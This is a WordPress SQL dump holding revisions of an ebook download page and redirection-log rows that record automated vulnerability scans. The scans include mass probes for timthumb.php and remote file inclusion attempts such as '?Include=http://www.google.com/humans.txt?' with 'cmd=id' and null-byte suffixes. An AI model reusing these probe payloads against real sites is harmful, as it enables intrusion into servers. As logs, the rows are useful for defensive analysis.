(3186, 1, '2015-10-16 12:40:51', '2015-10-16 19:40:51', '<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" target="_blank">Competition Proof Your Business EBook</a>\r\n\r\n<img class="alignleftwp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:40:51', '2015-10-16 19:40:51', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3187, 1, '2015-10-16 12:42:32', '2015-10-16 19:42:32', '<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6" text_shadow="0px 0px 0px #000000"]Download E-Book[/su_button]\r\n\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:42:32', '2015-10-16 19:42:32', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3188, 1, '2015-10-16 12:43:18', '2015-10-16 19:43:18', '<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\r\n\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:43:18', '2015-10-16 19:43:18', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3189, 1, '2015-10-16 12:44:09', '2015-10-16 19:44:09', '<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\r\n&nbsp;<br />&nbsp;<br />\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:44:09', '2015-10-16 19:44:09', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3190, 1, '2015-10-16 12:49:19', '2015-10-16 19:49:19', '<h2 style="margin-top: 0;">I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\r\n&nbsp;<br />&nbsp;<br />\r\nto your inspired success,\r\nThomson Dawson', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:49:19', '2015-10-16 19:49:19', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
(3191, 1, '2015-10-16 12:49:39', '2015-10-16 19:49:39', '<h2 style="margin-top: 0;">I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. To download click the button below.</h2>\r\n<h3>Competition Proof Your Business EBook</h3>\r\n<img class="wp-image-733 alignleft" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="200" />\r\n\r\nAfter reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n\r\n[su_button url="http://whc.fbdev.org/wp-content/uploads/2015/10/CompProofBiz_ebook_10-15.pdf" style="flat" background="#ff6600" size="6"]Download E-Book[/su_button]\r\n&nbsp;<br />&nbsp;<br />\r\nto your inspired success,\r\nThomson Dawson\r\n&nbsp;<br />&nbsp;<br />', 'Download your FREE Report!', 0, '', 'inherit', 'closed', 'closed', '', '744-revision-v1', '', '', '2015-10-16 12:49:39', '2015-10-16 19:49:39', '', 744, 'http://whc.fbdev.org/2015/10/744-revision-v1/', 0, 'revision', '', 0),
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(8250, '2012-05-26 14:58:28', '/wp-content/themes/deep-blue/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8251, '2012-05-26 14:58:29', '/wp-content/themes/delicate/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8252, '2012-05-26 14:58:30', '/wp-content/themes/diamond-ray/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8253, '2012-05-26 14:58:31', '/wp-content/themes/dieselclothings/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8254, '2012-05-26 14:58:32', '/wp-content/themes/digitalblue/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
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(8256, '2012-05-26 14:58:35', '/wp-content/themes/epione/script/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8257, '2012-05-26 14:58:35', '/wp-content/themes/evr-green/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8258, '2012-05-26 14:58:37', '/wp-content/themes/famous/megaframe/megapanel/inc/upload.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8259, '2012-05-26 14:58:38', '/wp-content/themes/famous/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
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(8262, '2012-05-26 14:58:41', '/wp-content/themes/fliphoto/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8263, '2012-05-26 14:58:42', '/wp-content/themes/flix/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
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(8267, '2012-05-26 14:58:46', '/wp-content/themes/go-green/modules/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8268, '2012-05-26 14:58:47', '/wp-content/themes/granite-lite/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8269, '2012-05-26 14:58:48', '/wp-content/themes/greydove/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8270, '2012-05-26 14:58:49', '/wp-content/themes/greyzed/functions/efrog/lib/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8271, '2012-05-26 14:58:50', '/wp-content/themes/gunungkidul/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8272, '2012-05-26 14:58:51', '/wp-content/themes/heartspotting-beta/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
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(8275, '2012-05-26 14:58:54', '/wp-content/themes/impressio/timthumb/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8276, '2012-05-26 14:58:56', '/wp-content/themes/introvert/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8277, '2012-05-26 14:58:57', '/wp-content/themes/inuit-types/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8278, '2012-05-26 14:58:58', '/wp-content/themes/isotherm-news/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8279, '2012-05-26 14:58:59', '/wp-content/themes/iwana-v10/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8280, '2012-05-26 14:58:59', '/wp-content/themes/jambo/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8281, '2012-05-26 14:59:01', '/wp-content/themes/jcblackone/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8282, '2012-05-26 14:59:02', '/wp-content/themes/kratalistic/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8283, '2012-05-26 14:59:03', '/wp-content/themes/life-style-free/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8284, '2012-05-26 14:59:05', '/wp-content/themes/likehacker/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8285, '2012-05-26 14:59:06', '/wp-content/themes/litepress/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8286, '2012-05-26 14:59:07', '/wp-content/themes/loganpress-premium-theme-1/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8287, '2012-05-26 14:59:09', '/wp-content/themes/magazine-basic/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8288, '2012-05-26 14:59:10', '/wp-content/themes/magup/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8289, '2012-05-26 14:59:11', '/wp-content/themes/make-money-online-theme-1/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8290, '2012-05-26 14:59:12', '/wp-content/themes/make-money-online-theme-2/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8291, '2012-05-26 14:59:13', '/wp-content/themes/make-money-online-theme-3/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8292, '2012-05-26 14:59:14', '/wp-content/themes/make-money-online-theme-4/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0);
INSERT INTO `wp_redirection_logs` (`id`, `created`, `url`, `sent_to`, `agent`, `referrer`, `redirection_id`, `ip`, `module_id`, `group_id`) VALUES
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(8294, '2012-05-26 14:59:16', '/wp-content/themes/meintest/layouts/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8295, '2012-05-26 14:59:17', '/wp-content/themes/mobilephonecomparision/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8296, '2012-05-26 14:59:18', '/wp-content/themes/moi-magazine/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8297, '2012-05-26 14:59:19', '/wp-content/themes/my-heli/images/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8298, '2012-05-26 14:59:20', '/wp-content/themes/mymag/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8299, '2012-05-26 14:59:21', '/wp-content/themes/mystique/extensions/auto-thumb/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8300, '2012-05-26 14:59:22', '/wp-content/themes/nash/theme-assets/php/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8301, '2012-05-26 14:59:23', '/wp-content/themes/neofresh/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8302, '2012-05-26 14:59:24', '/wp-content/themes/neo_wdl/includes/extensions/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8303, '2012-05-26 14:59:25', '/wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8304, '2012-05-26 14:59:26', '/wp-content/themes/newspress/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8305, '2012-05-26 14:59:27', '/wp-content/themes/pearlie/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8306, '2012-05-26 14:59:28', '/wp-content/themes/pico/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8307, '2012-05-26 14:59:29', '/wp-content/themes/postage-sydney/includes/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8308, '2012-05-26 14:59:31', '/wp-content/themes/premium-violet/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8309, '2012-05-26 14:59:32', '/wp-content/themes/probluezine/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8310, '2012-05-26 14:59:33', '/wp-content/themes/pronto/cjl/pronto/uploadify/check.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8311, '2012-05-26 14:59:34', '/wp-content/themes/pronto/cjl/pronto/uploadify/uploadify.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8312, '2012-05-26 14:59:35', '/wp-content/themes/r755/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8313, '2012-05-26 14:59:36', '/wp-content/themes/regal/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8314, '2012-05-26 14:59:37', '/wp-content/themes/shaan/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8315, '2012-05-26 14:59:38', '/wp-content/themes/shadow-block/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8316, '2012-05-26 14:59:39', '/wp-content/themes/shadow/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8317, '2012-05-26 14:59:40', '/wp-content/themes/simple-but-great/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8318, '2012-05-26 14:59:41', '/wp-content/themes/simplenews_premium/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8319, '2012-05-26 14:59:42', '/wp-content/themes/simple-red-theme/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8320, '2012-05-26 14:59:43', '/wp-content/themes/simple-tabloid/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8321, '2012-05-26 14:59:44', '/wp-content/themes/simplewhite/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8322, '2012-05-26 14:59:45', '/wp-content/themes/slidette/timThumb/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8323, '2012-05-26 14:59:46', '/wp-content/themes/snowblind_colbert/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8324, '2012-05-26 14:59:47', '/wp-content/themes/snowblind/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8325, '2012-05-26 14:59:48', '/wp-content/themes/spotlight/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8326, '2012-05-26 14:59:49', '/wp-content/themes/squeezepage/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8327, '2012-05-26 14:59:50', '/wp-content/themes/standout/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8328, '2012-05-26 14:59:51', '/wp-content/themes/suffusion/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8329, '2012-05-26 14:59:52', '/wp-content/themes/swift/includes/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8330, '2012-05-26 14:59:55', '/wp-content/themes/swift/includes/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8331, '2012-05-26 14:59:56', '/wp-content/themes/swift/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8332, '2012-05-26 14:59:57', '/wp-content/themes/techozoic-fluid/options/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8333, '2012-05-26 14:59:59', '/wp-content/themes/the_dark_os/tools/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8334, '2012-05-26 15:00:00', '/wp-content/themes/themetiger-fashion/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8335, '2012-05-26 15:00:02', '/wp-content/themes/theory/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8336, '2012-05-26 15:00:03', '/wp-content/themes/the-theme/core/libs/thumbnails/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8337, '2012-05-26 15:00:04', '/wp-content/themes/thrillingtheme/thumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8338, '2012-05-26 15:00:05', '/wp-content/themes/tm-theme/js/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8339, '2012-05-26 15:00:07', '/wp-content/themes/totallyred/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8340, '2012-05-26 15:00:08', '/wp-content/themes/travelogue-theme/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8341, '2012-05-26 15:00:09', '/wp-content/themes/true-blue-theme/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8342, '2012-05-26 15:00:10', '/wp-content/themes/ttnews-theme/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8343, '2012-05-26 15:00:11', '/wp-content/themes/twittplus/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8344, '2012-05-26 15:00:12', '/wp-content/themes/typographywp/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8345, '2012-05-26 15:00:14', '/wp-content/themes/ugly/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8346, '2012-05-26 15:00:15', '/wp-content/themes/unity/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8347, '2012-05-26 15:00:16', '/wp-content/themes/versitility/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
(8348, '2012-05-26 15:00:17', '/wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php', '', 'Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)', '', 0, '78.85.14.169', 3, 0),
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(11755, '2012-08-18 16:16:04', '/wp-content/themes/Aggregate/timthumb.php', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1', '', 0, '91.224.160.116', 3, 0),
(11756, '2012-08-18 16:16:04', '/wp-content/themes/delegate/thumb.php', '', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8', '', 0, '91.224.160.116', 3, 0),
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(11769, '2012-08-18 16:16:14', '/wp-content/themes/flashnews/thumb.php', '', 'Mozilla/5.0 ( ; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, '91.224.160.116', 3, 0),
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(11771, '2012-08-18 16:16:15', '/wp-content/themes/duotive-three/includes/timthumb.php', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2', '', 0, '91.224.160.116', 3, 0),
(11772, '2012-08-18 16:16:16', '/wp-content/themes/Feather/timthumb.php', '', 'Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01', '', 0, '91.224.160.116', 3, 0),
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(11777, '2012-08-18 16:16:20', '/wp-content/themes/zenko/scripts/timthumb.php', '', 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)', '', 0, '91.224.160.116', 3, 0),
(11778, '2012-08-18 16:16:20', '/wp-content/themes/snapshot/thumb.php', '', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2', '', 0, '91.224.160.116', 3, 0),
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(11782, '2012-08-18 16:16:23', '/wp-content/themes/TheProfessional/timthumb.php', '', 'Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01', '', 0, '91.224.160.116', 3, 0),
(11783, '2012-08-18 16:16:24', '/wp-content/themes/biznizz/thumb.php', '', 'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0', '', 0, '91.224.160.116', 3, 0),
(11784, '2012-08-18 16:16:25', '/wp-content/themes/DeepBlue/timthumb.php', '', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27', '', 0, '91.224.160.116', 3, 0),
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(49981, '2014-01-04 13:21:08', '/Include/variables.php3?Include=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49982, '2014-01-04 13:21:08', '/ListRecords.php?lib_dir=http://www.google.com/humans.txt?&cmd=id', '', '', '', 0, '96.30.5.88', 3, 0),
(49983, '2014-01-04 13:21:10', '/Lorev1/third_party/phpmailer/class.phpmailer.php?lang_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49984, '2014-01-04 13:21:10', '/Mamblog/admin.mamblog.php?cfgfile=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49985, '2014-01-04 13:21:11', '/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49986, '2014-01-04 13:21:11', '/NuclearBB/tasks/send_queued_emails.php?root_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0);
INSERT INTO `wp_redirection_logs` (`id`, `created`, `url`, `sent_to`, `agent`, `referrer`, `redirection_id`, `ip`, `module_id`, `group_id`) VALUES
(49987, '2014-01-04 13:21:12', '/OpenSiteAdmin/indexFooter.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
(49988, '2014-01-04 13:21:12', '/OpenSiteAdmin/pages/pageHeader.php?path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49989, '2014-01-04 13:21:13', '/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
(49990, '2014-01-04 13:21:14', '/OpenSiteAdmin/scripts/classes/FieldManager.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
(49991, '2014-01-04 13:21:16', '/OpenSiteAdmin/scripts/classes/Form.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
